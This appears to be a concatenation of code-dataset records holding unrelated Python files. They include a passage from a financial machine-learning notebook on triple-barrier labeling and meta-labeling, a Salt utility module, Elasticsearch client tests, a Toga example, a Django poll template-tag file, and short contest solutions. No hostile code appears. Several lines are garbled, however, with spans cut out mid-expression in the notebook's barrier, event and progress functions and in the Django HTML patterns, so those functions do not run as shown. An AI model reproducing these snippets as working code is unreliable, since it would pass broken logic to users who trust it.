pd.DataFrame()\n column: name for price data\n m: int(), threshold value for dollars\n # returns\n idx: list of indices\n '''\n t = df[column]\n ts = 0\n idx = []\n for i, x in enumerate(tqdm(t)):\n ts += x\n if ts >= m:\n idx.append(i)\n ts = 0\n continue\n return idx\n\ndef dollar_bar_df(df, column, m):\n idx = dollar_bars(df, column, m)\n return df.iloc[idx]\n#========================================================\n\n@jit(nopython=True)\ndef numba_isclose(a,b,rel_tol=1e-09,abs_tol=0.0):\n return np.fabs(a-b) <= np.fmax(rel_tol*np.fmax(np.fabs(a), np.fabs(b)), abs_tol)\n\n@jit(nopython=True)\ndef bt(p0, p1, bs):\n #if math.isclose((p1 - p0), 0.0, abs_tol=0.001):\n if numba_isclose((p1-p0),0.0,abs_tol=0.001):\n b = bs[-1]\n return b\n else:\n b = np.abs(p1-p0)/(p1-p0)\n return b\n\n@jit(nopython=True)\ndef get_imbalance(t):\n bs = np.zeros_like(t)\n for i in np.arange(1, bs.shape[0]):\n t_bt = bt(t[i-1], t[i], bs[:i-1])\n bs[i-1] = t_bt\n return bs[:-1] # remove last value\n\n\n# ## Code Snippets\n# \n# Below I reproduce all the relevant code snippets found in the book that are necessary to work through the excercises found at the end of chapter 3.\n\n# ### Symmetric CUSUM Filter [2.5.2.1]\n\n# In[175]:\n\n\ndef getTEvents(gRaw, h):\n tEvents, sPos, sNeg = [], 0, 0\n diff = np.log(gRaw).diff().dropna().abs()\n for i in tqdm(diff.index[1:]):\n try:\n pos, neg = (sPos+diff.loc[i]).astype(float), (sNeg+diff.loc[i]).astype(float)\n except Exception as e:\n print(e)\n print(sPos+diff.loc[i], type(sPos+diff.loc[i]))\n print(sNeg+diff.loc[i], type(sNeg+diff.loc[i]))\n break\n sPos, sNeg=max(0., pos.all()), min(0., neg.all())\n if sNeg<-h:\n sNeg=0;tEvents.append(i)\n elif sPos>h:\n sPos=0;tEvents.append(i)\n return pd.DatetimeIndex(tEvents)\n\n\n# ### Daily Volatility Estimator [3.1]\n\n# In[176]:\n\n\ndef getDailyVol(close,span0=100):\n # daily vol reindexed to close\n print('close; ')\n print(close)\n print('close.index-pd.Timedelta; ')\n print(close.index-pd.Timedelta(days=1))\n df0=close.index.searchsorted(close.index-pd.Timedelta(days=1))\n #print('\\n df0 1\\n', df0)\n df0=df0[df0>0] \n #print('\\n df0 2\\n', df0)\n df0=(pd.Series(close.index[df0-1],index=close.index[close.shape[0]-df0.shape[0]:])) \n #print('\\n df0 3\\n', df0)\n \n try:\n print('\\n df0 index\\n', df0.index)\n print('\\n df0 values\\n', df0.values)\n dfidxs=close.loc[df0.index].drop_duplicates()\n dfvals=close.loc[df0.values]#.iloc[:dfidxs.size] #.drop_duplicates()\n print('\\n close.loc[df0.index]\\n', dfidxs)\n print('\\n close.loc[df0.values]\\n', dfvals)\n #df1=(dfidxs.values/dfvals.values) -1 # daily rets\n df0=(dfidxs/dfvals.values) -1 # daily rets\n print('\\n df1\\n',df1)\n except Exception as e:\n print(e)\n print('adjusting shape of close.loc[df0.index]')\n cut = close.loc[df0.index].shape[0] - close.loc[df0.values].shape[0]\n df0=close.loc[df0.index].iloc[:-cut]/close.loc[df0.values].values-1\n \n #df4=pd.Series(df1).ewm(span=span0).std().dropna()\n #df0=pd.Series(df1).ewm(span=span0).std().dropna()\n df0=(df0).ewm(span=span0).std().dropna()\n\n #print('\\n df4\\n', df4)\n #df2=(pd.Series(df4.values,index=close.index[close.shape[0]-df4.shape[0]:]))\n #print('\\n df2\\n', df2)\n #return df2\n return df0\n\n\n# ### Triple-Barrier Labeling Method [3.2]\n\n# In[177]:\n\n\ndef applyPtSlOnT1(close,events,ptSl,molecule):\n # apply stop loss/profit taking, if it takes place before t1 (end of event)\n events_=events.loc[molecule]\n print('in applyPtSlOnT1',close,'events',events,'ptSl',ptSl,'molecule',molecule)\n out=events_[['t1']].copy(deep=True)\n print('out',out)\n if ptSl[0]>0: pt=ptSl[0]*events_['trgt']\n else: pt=pd.Series(index=events.index) # NaNs\n if ptSl[1]>0: sl=-ptSl[1]*events_['trgt']\n else: sl=pd.Series(index=events.index) # NaNs\n i=0\n for loc,t1 in events_['t1'].fillna(close.index[-1]).iteritems():\n try:\n df0=close[loc:t1] # path prices\n #print('\\niter ', i, 'df0 \\n',df0)\n df0=(df0/close[loc]-1)*events_.at[loc,'side'] # path returns\n out.loc[loc,'sl']=df0[df0pt[loc]].index.min() # earliest profit taking\n #print('out \\n',out)\n i=i+1\n except Exception as e:\n pass#print(e)\n return out\n\n\n# ### Gettting Time of First Touch (getEvents) [3.3], [3.6]\n\n# In[171]:\n\n\ndef getEvents(close, tEvents, ptSl, trgt, minRet, numThreads, t1=False, side=None):\n trgt=trgt.dropna()\n #1) get target\n trgt=trgt.loc[tEvents]\n trgt=trgt[trgt>minRet] # minRet\n #2) get t1 (max holding period)\n if t1 is False:t1=pd.Series(pd.NaT, index=tEvents.drop_duplicates())\n #3) form events object, apply stop loss on t1\n if side is None:side_,ptSl_=pd.Series(1.,index=trgt.index), [ptSl[0],ptSl[0]]\n else: side_,ptSl_=side.loc[trgt.index],ptSl[:2]\n #trgt=trgt.iloc[trgt.size-t1.size:]\n #side_=side_.iloc[side_.size-t1.size:]\n print('\\nin getEvents','trgt\\n', trgt,'t1\\n', t1,'side\\n', side_)\n events=(pd.concat({'trgt':trgt,'side':side_}, axis=1,ignore_index=True).dropna().drop_duplicates())\n #events=pd.concat({'t1':t1,'side':events.columns[0],'trgt':events.columns[1]},ignore_index=True)\n events=events.merge(pd.DataFrame(t1),right_index=True,left_index=True).dropna().drop_duplicates()\n \n events=events.rename(columns={ events.columns[0]: \"side\",events.columns[1]: \"trgt\",events.columns[2]: \"t1\" })\n print('\\nin getEvents','close\\n', close,'events\\n', events,'ptsl\\n', ptSl_,'molecule\\n' ,events.index)\n \n #df0=mpPandasObj(func=applyPtSlOnT1,pdObj=('molecule',events.index),numThreads=numThreads,close=close,events=events,ptSl=ptSl_)\n df0=applyPtSlOnT1(close, events, ptSl_, events.index)\n print('df0 after applyPtSl',df0)\n events['t1']=df0.dropna()#how='all').min(axis=1) # pd.min ignores nan\n if side is None:events=events.drop('side',axis=1)\n return events\n\n\n# ### Adding Vertical Barrier [3.4]\n\n# In[135]:\n\n\ndef addVerticalBarrier(tEvents, close, numDays=1):\n t1=close.index.searchsorted(tEvents+pd.Timedelta(days=numDays))\n t1=t1[t1minPct or df0.shape[0]<3:break\n print('dropped label: ', df0.argmin(),df0.min())\n events=events[events['bin']!=df0.argmin()]\n return events\n\n\n# ### Linear Partitions [20.4.1]\n\n# In[139]:\n\n\ndef linParts(numAtoms,numThreads):\n # partition of atoms with a single loop\n parts=np.linspace(0,numAtoms,min(numThreads,numAtoms)+1)\n parts=np.ceil(parts).astype(int)\n return parts\n\n\n# In[140]:\n\n\ndef nestedParts(numAtoms,numThreads,upperTriang=False):\n # partition of atoms with an inner loop\n parts,numThreads_=[0],min(numThreads,numAtoms)\n for num in range(numThreads_):\n part=1+4*(parts[-1]**2+parts[-1]+numAtoms*(numAtoms+1.)/numThreads_)\n part=(-1+part**.5)/2.\n parts.append(part)\n parts=np.round(parts).astype(int)\n if upperTriang: # the first rows are heaviest\n parts=np.cumsum(np.diff(parts)[::-1])\n parts=np.append(np.array([0]),parts)\n return parts\n\n\n# ### multiprocessing snippet [20.7]\n\n# In[141]:\n\n\ndef mpPandasObj(func,pdObj,numThreads=24,mpBatches=1,linMols=True,**kargs):\n '''\n Parallelize jobs, return a dataframe or series\n + func: function to be parallelized. Returns a DataFrame\n + pdObj[0]: Name of argument used to pass the molecule\n + pdObj[1]: List of atoms that will be grouped into molecules\n + kwds: any other argument needed by func\n \n Example: df1=mpPandasObj(func,('molecule',df0.index),24,**kwds)\n '''\n import pandas as pd\n #if linMols:parts=linParts(len(argList[1]),numThreads*mpBatches)\n #else:parts=nestedParts(len(argList[1]),numThreads*mpBatches)\n if linMols:parts=linParts(len(pdObj[1]),numThreads*mpBatches)\n else:parts=nestedParts(len(pdObj[1]),numThreads*mpBatches)\n \n jobs=[]\n for i in range(1,len(parts)):\n job={pdObj[0]:pdObj[1][parts[i-1]:parts[i]],'func':func}\n job.update(kargs)\n jobs.append(job)\n if numThreads==1:out=processJobs_(jobs)\n else: out=processJobs(jobs,numThreads=numThreads)\n if isinstance(out[0],pd.DataFrame):df0=pd.DataFrame()\n elif isinstance(out[0],pd.Series):df0=pd.Series()\n else:return out\n for i in out:df0=df0.append(i)\n df0=df0.sort_index()\n return df0\n\n\n# ### single-thread execution for debugging [20.8]\n\n# In[142]:\n\n\ndef processJobs_(jobs):\n # Run jobs sequentially, for debugging\n out=[]\n for job in jobs:\n out_=expandCall(job)\n out.append(out_)\n return out\n\n\n# ### Example of async call to multiprocessing lib [20.9]\n\n# In[143]:\n\n\nimport multiprocessing as mp\nimport datetime as dt\n\n#________________________________\ndef reportProgress(jobNum,numJobs,time0,task):\n # Report progress as asynch jobs are completed\n msg=[float(jobNum)/numJobs, (time.time()-time0)/60.]\n msg.append(msg[1]*(1/msg[0]-1))\n timeStamp=str(dt.datetime.fromtimestamp(time.time()))\n msg=timeStamp+' '+str(round(msg[0]*100,2))+'% '+task+' done after '+ str(round(msg[1],2))+' minutes. Remaining '+str(round(msg[2],2))+' minutes.'\n if jobNum df.slow\n return df.fast[(crit1) & (crit2)]\n\ndef get_down_cross(df):\n crit1 = df.fast.shift(1) > df.slow\n crit2 = df.fast < df.slow\n return df.fast[(crit1) & (crit2)]\n\nup = get_up_cross(close_df)\ndown = get_down_cross(close_df)\n\nf, ax = plt.subplots(figsize=(11,8))\n\nclose_df.loc['2014':].plot(ax=ax, alpha=.5)\nup.loc['2014':].plot(ax=ax,ls='',marker='^', markersize=7,\n alpha=0.75, label='upcross', color='g')\ndown.loc['2014':].plot(ax=ax,ls='',marker='v', markersize=7, \n alpha=0.75, label='downcross', color='r')\n\nax.legend()\n\n\n# ### (a) Derive meta-labels for `ptSl = [1,2]` and `t1` where `numdays=1`. Use as `trgt` dailyVol computed by snippet 3.1 (get events with sides)\n\n# In[261]:\n\n\nside_up = pd.Series(1, index=up.index)\nside_down = pd.Series(-1, index=down.index)\nside = pd.concat([side_up,side_down]).sort_index()\ncprint(side)\n\n\n# In[267]:\n\n\nminRet = .01 \nptsl=[1,2]\nma_events = getEvents(close,tEvents,ptsl,target,minRet,cpus,t1=t1,side=side)\ncprint(ma_events)\n\n\n# In[224]:\n\n\nma_events.side.value_counts()\n\n\n# In[268]:\n\n\nma_side = ma_events.dropna().side\n\n\n# In[269]:\n\n\nma_bins = getBins(ma_events,close).dropna()\ncprint(ma_bins)\n\n\n# In[265]:\n\n\nXx = pd.merge_asof(ma_bins, side.to_frame().rename(columns={0:'side'}),\n left_index=True, right_index=True, direction='forward')\ncprint(Xx)\n\n\n# ### (b) Train Random Forest to decide whether to trade or not `{0,1}` since underlying model (crossing m.a.) has decided the side, `{-1,1}`\n\n# In[227]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_curve, classification_report\n\n\n# In[270]:\n\n\nX = ma_side.values.reshape(-1,1)\n#X = Xx.side.values.reshape(-1,1)\ny = ma_bins.bin.values\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5)\n\nn_estimator = 10000\nrf = RandomForestClassifier(max_depth=2, n_estimators=n_estimator,\n criterion='entropy', random_state=RANDOM_STATE)\nrf.fit(X_train, y_train)\n\n# The random forest model by itself\ny_pred_rf = rf.predict_proba(X_test)[:, 1]\ny_pred = rf.predict(X_test)\nfpr_rf, tpr_rf, _ = roc_curve(y_test, y_pred_rf)\nprint(classification_report(y_test, y_pred))\n\nplt.figure(1)\nplt.plot([0, 1], [0, 1], 'k--')\nplt.plot(fpr_rf, tpr_rf, label='RF')\nplt.xlabel('False positive rate')\nplt.ylabel('True positive rate')\nplt.title('ROC curve')\nplt.legend(loc='best')\nplt.show()\n\n\n# ## [3.5] Develop mean-reverting Bollinger Band Strategy. For each obs. model suggests a side but not size of the bet.\n\n# In[230]:\n\n\ndef bbands(price, window=None, width=None, numsd=None):\n \"\"\" returns average, upper band, and lower band\"\"\"\n ave = price.rolling(window).mean()\n sd = price.rolling(window).std(ddof=0)\n if width:\n upband = ave * (1+width)\n dnband = ave * (1-width)\n return price, np.round(ave,3), np.round(upband,3), np.round(dnband,3) \n if numsd:\n upband = ave + (sd*numsd)\n dnband = ave - (sd*numsd)\n return price, np.round(ave,3), np.round(upband,3), np.round(dnband,3)\n\n\n# In[231]:\n\n\nwindow=50\nbb_df = pd.DataFrame()\nbb_df['price'],bb_df['ave'],bb_df['upper'],bb_df['lower']=bbands(close, window=window, numsd=1)\nbb_df.dropna(inplace=True)\ncprint(bb_df)\n\n\n# In[232]:\n\n\nf,ax=plt.subplots(figsize=(11,8))\nbb_df.loc['2014'].plot(ax=ax)\n\n\n# In[233]:\n\n\ndef get_up_cross(df, col):\n # col is price column\n crit1 = df[col].shift(1) < df.upper \n crit2 = df[col] > df.upper\n return df[col][(crit1) & (crit2)]\n\ndef get_down_cross(df, col):\n # col is price column \n crit1 = df[col].shift(1) > df.lower \n crit2 = df[col] < df.lower\n return df[col][(crit1) & (crit2)]\n\nbb_down = get_down_cross(bb_df, 'price')\nbb_up = get_up_cross(bb_df, 'price') \n\nf, ax = plt.subplots(figsize=(11,8))\n\nbb_df.loc['2014':].plot(ax=ax, alpha=.5)\nbb_up.loc['2014':].plot(ax=ax, ls='', marker='^', markersize=7,\n alpha=0.75, label='upcross', color='g')\nbb_down.loc['2014':].plot(ax=ax, ls='', marker='v', markersize=7, \n alpha=0.75, label='downcross', color='r')\nax.legend()\n\n\n# ### (a) Derive meta-labels for `ptSl=[0,2]` and `t1` where `numdays=1`. Use as `trgt` dailyVol.\n\n# In[300]:\n\n\nbb_side_up = pd.Series(-1, index=bb_up.index) # sell on up cross for mean reversion\nbb_side_down = pd.Series(1, index=bb_down.index) # buy on down cross for mean reversion\nbb_side_raw = pd.concat([bb_side_up,bb_side_down]).sort_index()\ncprint(bb_side_raw)\n\nminRet = .01 \nptsl=[0,2]\nbb_events = getEvents(close,tEvents,ptsl,target,minRet,cpus,t1=t1,side=bb_side_raw)\ncprint(bb_events)\n\nbb_side = bb_events.dropna().side\ncprint(bb_side)\n\n\n# In[290]:\n\n\nbb_side.value_counts()\n\n\n# In[301]:\n\n\nbb_bins = getBins(bb_events,close).dropna()\ncprint(bb_bins)\n\n\n# In[292]:\n\n\nbb_bins.bin.value_counts()\n\n\n# ### (b) train random forest to decide to trade or not. Use features: volatility, serial correlation, and the crossing moving averages from exercise 2.\n\n# In[293]:\n\n\ndef returns(s):\n arr = np.diff(np.log(s))\n return (pd.Series(arr, index=s.index[1:]))\n\ndef df_rolling_autocorr(df, window, lag=1):\n \"\"\"Compute rolling column-wise autocorrelation for a DataFrame.\"\"\"\n\n return (df.rolling(window=window)\n .corr(df.shift(lag))) # could .dropna() here\n\n#df_rolling_autocorr(d1, window=21).dropna().head()\n\n\n# In[294]:\n\n\nsrl_corr = df_rolling_autocorr(returns(close), window=window).rename('srl_corr')\ncprint(srl_corr)\n\n\n# In[302]:\n\n\nfeatures = (pd.DataFrame()\n .assign(vol=bb_events.trgt)\n .assign(ma_side=ma_side)\n .assign(srl_corr=srl_corr)\n .drop_duplicates()\n .dropna())\ncprint(features)\n\n\n# In[303]:\n\n\nXy = (pd.merge_asof(features, bb_bins[['bin']], \n left_index=True, right_index=True, \n direction='forward').dropna())\ncprint(Xy)\n\n\n# In[297]:\n\n\nXy.bin.value_counts()\n\n\n# In[305]:\n\n\nX = Xy.drop('bin',axis=1).values\ny = Xy['bin'].values\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, shuffle=False)\n\nn_estimator = 10000\nrf = RandomForestClassifier(max_depth=2, n_estimators=n_estimator,\n criterion='entropy', random_state=RANDOM_STATE)\nrf.fit(X_train, y_train)\n\n# The random forest model by itself\ny_pred_rf = rf.predict_proba(X_test)[:, 1]\ny_pred = rf.predict(X_test)\nfpr_rf, tpr_rf, _ = roc_curve(y_test, y_pred_rf)\nprint(classification_report(y_test, y_pred, target_names=['no_trade','trade']))\n\nplt.figure(1)\nplt.plot([0, 1], [0, 1], 'k--')\nplt.plot(fpr_rf, tpr_rf, label='RF')\nplt.xlabel('False positive rate')\nplt.ylabel('True positive rate')\nplt.title('ROC curve')\nplt.legend(loc='best')\nplt.show()\n\n\n# ### (c) What is accuracy of predictions from primary model if the secondary model does not filter bets? What is classification report?\n\n# In[299]:\n\n\nminRet = .01 \nptsl=[0,2]\nbb_events = getEvents(close,tEvents,ptsl,target,minRet,cpus,t1=t1)\ncprint(bb_events)\n\nbb_bins = getBins(bb_events,close).dropna()\ncprint(bb_bins)\n\nfeatures = (pd.DataFrame()\n .assign(vol=bb_events.trgt)\n .assign(ma_side=ma_side)\n .assign(srl_corr=srl_corr)\n .drop_duplicates()\n .dropna())\ncprint(features)\n\nXy = (pd.merge_asof(features, bb_bins[['bin']], \n left_index=True, right_index=True, \n direction='forward').dropna())\ncprint(Xy)\n\n### run model ###\nX = Xy.drop('bin',axis=1).values\ny = Xy['bin'].values\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, shuffle=False)\n\nn_estimator = 10000\nrf = RandomForestClassifier(max_depth=2, n_estimators=n_estimator,\n criterion='entropy', random_state=RANDOM_STATE)\nrf.fit(X_train, y_train)\n\n# The random forest model by itself\ny_pred_rf = rf.predict_proba(X_test)[:, 1]\ny_pred = rf.predict(X_test)\nfpr_rf, tpr_rf, _ = roc_curve(y_test, y_pred_rf)\nprint(classification_report(y_test, y_pred))\n\nplt.figure(1)\nplt.plot([0, 1], [0, 1], 'k--')\nplt.plot(fpr_rf, tpr_rf, label='RF')\nplt.xlabel('False positive rate')\nplt.ylabel('True positive rate')\nplt.title('ROC curve')\nplt.legend(loc='best')\nplt.show()\n\n\n# In[ ]:\n","sub_path":"Labeling and MetaLabeling for Supervised Classification.py","file_name":"Labeling and MetaLabeling for Supervised Classification.py","file_ext":"py","file_size_in_byte":27676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565408831","text":"# -*- coding: utf-8 -*-\n'''\nUtility functions for use with or in SLS files\n'''\n\n# Import Python libs\nfrom __future__ import absolute_import, unicode_literals, print_function\n\n# Import Salt libs\nimport salt.exceptions\nimport salt.loader\nimport salt.template\nimport salt.utils.args\nimport salt.utils.dictupdate\n\n\ndef update(dest, upd, recursive_update=True, merge_lists=False):\n '''\n Merge ``upd`` recursively into ``dest``\n\n If ``merge_lists=True``, will aggregate list object types instead of\n replacing. This behavior is only activated when ``recursive_update=True``.\n\n CLI Example:\n\n .. code-block:: shell\n\n salt '*' slsutil.update '{foo: Foo}' '{bar: Bar}'\n\n '''\n return salt.utils.dictupdate.update(dest, upd, recursive_update,\n merge_lists)\n\n\ndef merge(obj_a, obj_b, strategy='smart', renderer='yaml', merge_lists=False):\n '''\n Merge a data structure into another by choosing a merge strategy\n\n Strategies:\n\n * aggregate\n * list\n * overwrite\n * recurse\n * smart\n\n CLI Example:\n\n .. code-block:: shell\n\n salt '*' slsutil.merge '{foo: Foo}' '{bar: Bar}'\n '''\n return salt.utils.dictupdate.merge(obj_a, obj_b, strategy, renderer,\n merge_lists)\n\n\ndef renderer(path=None, string=None, default_renderer='jinja|yaml', **kwargs):\n '''\n Parse a string or file through Salt's renderer system\n\n .. versionchanged:: 2018.3.0\n Add support for Salt fileserver URIs.\n\n This is an open-ended function and can be used for a variety of tasks. It\n makes use of Salt's \"renderer pipes\" system to run a string or file through\n a pipe of any of the loaded renderer modules.\n\n :param path: The path to a file on Salt's fileserver (any URIs supported by\n :py:func:`cp.get_url `) or on the local file\n system.\n :param string: An inline string to be used as the file to send through the\n renderer system. Note, not all renderer modules can work with strings;\n the 'py' renderer requires a file, for example.\n :param default_renderer: The renderer pipe to send the file through; this\n is overridden by a \"she-bang\" at the top of the file.\n :param kwargs: Keyword args to pass to Salt's compile_template() function.\n\n Keep in mind the goal of each renderer when choosing a render-pipe; for\n example, the Jinja renderer processes a text file and produces a string,\n however the YAML renderer processes a text file and produces a data\n structure.\n\n One possible use is to allow writing \"map files\", as are commonly seen in\n Salt formulas, but without tying the renderer of the map file to the\n renderer used in the other sls files. In other words, a map file could use\n the Python renderer and still be included and used by an sls file that uses\n the default 'jinja|yaml' renderer.\n\n For example, the two following map files produce identical results but one\n is written using the normal 'jinja|yaml' and the other is using 'py':\n\n .. code-block:: jinja\n\n #!jinja|yaml\n {% set apache = salt.grains.filter_by({\n ...normal jinja map file here...\n }, merge=salt.pillar.get('apache:lookup')) %}\n {{ apache | yaml() }}\n\n .. code-block:: python\n\n #!py\n def run():\n apache = __salt__.grains.filter_by({\n ...normal map here but as a python dict...\n }, merge=__salt__.pillar.get('apache:lookup'))\n return apache\n\n Regardless of which of the above map files is used, it can be accessed from\n any other sls file by calling this function. The following is a usage\n example in Jinja:\n\n .. code-block:: jinja\n\n {% set apache = salt.slsutil.renderer('map.sls') %}\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' slsutil.renderer salt://path/to/file\n salt '*' slsutil.renderer /path/to/file\n salt '*' slsutil.renderer /path/to/file.jinja 'jinja'\n salt '*' slsutil.renderer /path/to/file.sls 'jinja|yaml'\n salt '*' slsutil.renderer string='Inline template! {{ saltenv }}'\n salt '*' slsutil.renderer string='Hello, {{ name }}.' name='world'\n '''\n if not path and not string:\n raise salt.exceptions.SaltInvocationError(\n 'Must pass either path or string')\n\n renderers = salt.loader.render(__opts__, __salt__)\n\n if path:\n path_or_string = __salt__['cp.get_url'](path)\n elif string:\n path_or_string = ':string:'\n kwargs['input_data'] = string\n\n return salt.template.compile_template(\n path_or_string,\n renderers,\n default_renderer,\n __opts__['renderer_blacklist'],\n __opts__['renderer_whitelist'],\n **kwargs)\n\n\ndef _get_serialize_fn(serializer, fn_name):\n serializers = salt.loader.serializers(__opts__)\n fns = getattr(serializers, serializer, None)\n fn = getattr(fns, fn_name, None)\n\n if not fns:\n raise salt.exceptions.CommandExecutionError(\n \"Serializer '{0}' not found.\".format(serializer))\n\n if not fn:\n raise salt.exceptions.CommandExecutionError(\n \"Serializer '{0}' does not implement {1}.\".format(serializer,\n fn_name))\n\n return fn\n\n\ndef serialize(serializer, obj, **mod_kwargs):\n '''\n Serialize a Python object using a :py:mod:`serializer module\n `\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' --no-parse=obj slsutil.serialize 'json' obj=\"{'foo': 'Foo!'}\n\n Jinja Example:\n\n .. code-block:: jinja\n\n {% set json_string = salt.slsutil.serialize('json',\n {'foo': 'Foo!'}) %}\n '''\n kwargs = salt.utils.args.clean_kwargs(**mod_kwargs)\n return _get_serialize_fn(serializer, 'serialize')(obj, **kwargs)\n\n\ndef deserialize(serializer, stream_or_string, **mod_kwargs):\n '''\n Deserialize a Python object using a :py:mod:`serializer module\n `\n\n CLI Example:\n\n .. code-block:: bash\n\n salt '*' slsutil.deserialize 'json' '{\"foo\": \"Foo!\"}'\n salt '*' --no-parse=stream_or_string slsutil.deserialize 'json' \\\\\n stream_or_string='{\"foo\": \"Foo!\"}'\n\n Jinja Example:\n\n .. code-block:: jinja\n\n {% set python_object = salt.slsutil.deserialize('json',\n '{\"foo\": \"Foo!\"}') %}\n '''\n kwargs = salt.utils.args.clean_kwargs(**mod_kwargs)\n return _get_serialize_fn(serializer, 'deserialize')(stream_or_string,\n **kwargs)\n","sub_path":"salt/modules/slsutil.py","file_name":"slsutil.py","file_ext":"py","file_size_in_byte":6528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"42034162","text":"N = int(input())\nA = sorted(list(map(int, input().split())))\n\nans = 0\nMOD = 10**9+7\ntotal = sum(A)\n\nfor i in range(N-1):\n tmp = A[i]\n total -= tmp\n ans += (tmp * total) % MOD\n ans %= MOD\n\nprint(ans)","sub_path":"atcoder/2020/ABC/0829_abc177/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"13506573","text":"import toga\nfrom toga.style import Pack\nfrom toga.constants import COLUMN, LEFT\n\n\nclass ScrollContainerApp(toga.App):\n def startup(self):\n self.main_window = toga.MainWindow(self.name)\n box = toga.Box()\n box.style.direction = COLUMN\n\n for x in range(100):\n label_text = 'Label %d' % (x)\n box.add(toga.Label(label_text, style=Pack(text_align=LEFT)))\n\n scroller = toga.ScrollContainer()\n scroller.content = box\n\n self.main_window.content = scroller\n self.main_window.show()\n\n\ndef main():\n return ScrollContainerApp('ScrollContainer', 'org.beeware.widgets.scrollcontainer')\n\n\nif __name__ == '__main__':\n app = main()\n app.main_loop()\n","sub_path":"examples/scrollcontainer/scrollcontainer/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"359538817","text":"# -*- coding: utf-8 -*-\n# Licensed to Elasticsearch B.V under one or more agreements.\n# Elasticsearch B.V licenses this file to you under the Apache 2.0 License.\n# See the LICENSE file in the project root for more information\n\nfrom __future__ import unicode_literals\n\nfrom . import ElasticsearchTestCase\n\n\nclass TestUnicode(ElasticsearchTestCase):\n def test_indices_analyze(self):\n self.client.indices.analyze(body='{\"text\": \"привет\"}')\n\n\nclass TestBulk(ElasticsearchTestCase):\n def test_bulk_works_with_string_body(self):\n docs = '{ \"index\" : { \"_index\" : \"bulk_test_index\", \"_id\" : \"1\" } }\\n{\"answer\": 42}'\n response = self.client.bulk(body=docs)\n\n self.assertFalse(response[\"errors\"])\n self.assertEqual(1, len(response[\"items\"]))\n\n def test_bulk_works_with_bytestring_body(self):\n docs = b'{ \"index\" : { \"_index\" : \"bulk_test_index\", \"_id\" : \"2\" } }\\n{\"answer\": 42}'\n response = self.client.bulk(body=docs)\n\n self.assertFalse(response[\"errors\"])\n self.assertEqual(1, len(response[\"items\"]))\n","sub_path":"test_elasticsearch/test_server/test_clients.py","file_name":"test_clients.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300461930","text":"# https://leetcode.com/problems/two-sum/\n\nfrom typing import List\n\n\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n cache = {} # { value: idx }\n\n for idx in range(0, len(nums)):\n num = target - nums[idx]\n\n if num in cache:\n return [idx, cache[num]]\n\n cache[nums[idx]] = idx\n\n return\n\n\nsol = Solution()\n\nprint(sol.twoSum([2, 7, 11, 15], 9)) # [0, 1]\n","sub_path":"Easy/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"600488959","text":"from django import template\r\nfrom poll.models import Poll, Item, Queue\r\nfrom django.conf import settings\r\nfrom django.utils.safestring import SafeUnicode\r\nfrom django.utils.datetime_safe import datetime\r\nfrom poll.ajax import authpass\r\n\r\n\r\nregister = template.Library()\r\n\r\n\r\n@register.inclusion_tag('polls.html', takes_context=True)\r\ndef poll(context, poll):\r\n can_vote = True\r\n if poll.queue:\r\n can_vote = authpass(context['user'], poll.queue)\r\n return {'poll': poll,\r\n 'poll_type': poll.print_polltype(),\r\n 'items': Item.objects.filter(poll=poll),\r\n 'user': context['user'],\r\n 'can_vote': can_vote,\r\n 'request': context['request'],\r\n 'STATIC_URL': settings.STATIC_URL}\r\n\r\n\r\n@register.inclusion_tag('polls.html', takes_context=True)\r\ndef poll_queue(context, queue=None):\r\n try:\r\n if not queue:\r\n tmp_polls = Poll.objects.filter(startdate__lte=datetime.now().date)\r\n elif isinstance(queue, SafeUnicode):\r\n tmp_queue = Queue.objects.get(title=queue)\r\n else:\r\n tmp_queue = Queue.objects.get(queue)\r\n\r\n except:\r\n raise Exception('Queue not found')\r\n\r\n if queue:\r\n tmp_polls = Poll.publish_manager.filter(queue=tmp_queue,\r\n startdate__lte=datetime.now())\r\n if len(tmp_polls) > 0:\r\n cur_poll = tmp_polls[0]\r\n return poll(context, cur_poll)\r\n else:\r\n cur_poll = None\r\n\r\n\r\n\r\nclass RenderItemsClass(template.Node):\r\n def __init__(self, poll, items):\r\n self.poll = template.Variable(poll)\r\n self.items = template.Variable(items)\r\n\r\n def render(self, context):\r\n poll = self.poll.resolve(context)\r\n items = self.items.resolve(context)\r\n #'name' = item.pk\r\n pattern1 = u'{3}

    '\r\n pattern2 = u' {3}
    '\r\n result = u''\r\n\r\n #Choose an input type\r\n for item in items:\r\n if item.userbox:\r\n input_type = 'textbox'\r\n pattern = pattern1\r\n else:\r\n poll_type = poll.print_polltype()\r\n\r\n if poll_type == 'Single':\r\n input_type = 'radio'\r\n elif poll_type == 'Multiple':\r\n input_type = 'checkbox'\r\n pattern = pattern2\r\n\r\n result += pattern.format(poll.pk, input_type, item.pk, item.value)\r\n\r\n return result\r\n\r\n\r\n@register.tag\r\ndef render_items(parser, token):\r\n tag, poll, items = token.split_contents()\r\n return RenderItemsClass(poll, items)\r\n","sub_path":"poll/templatetags/polls_tags.py","file_name":"polls_tags.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"466574353","text":"\ndef parseParagraphs(postingData, info):\n\tnumParagraphs = 0\n\tparagraphs = [\"\",\"\",\"\",\"\"]\n\t\n\t# Read the paragraph.txt file into a list\n\tparagraphsData = [line.strip('\\n') for line in 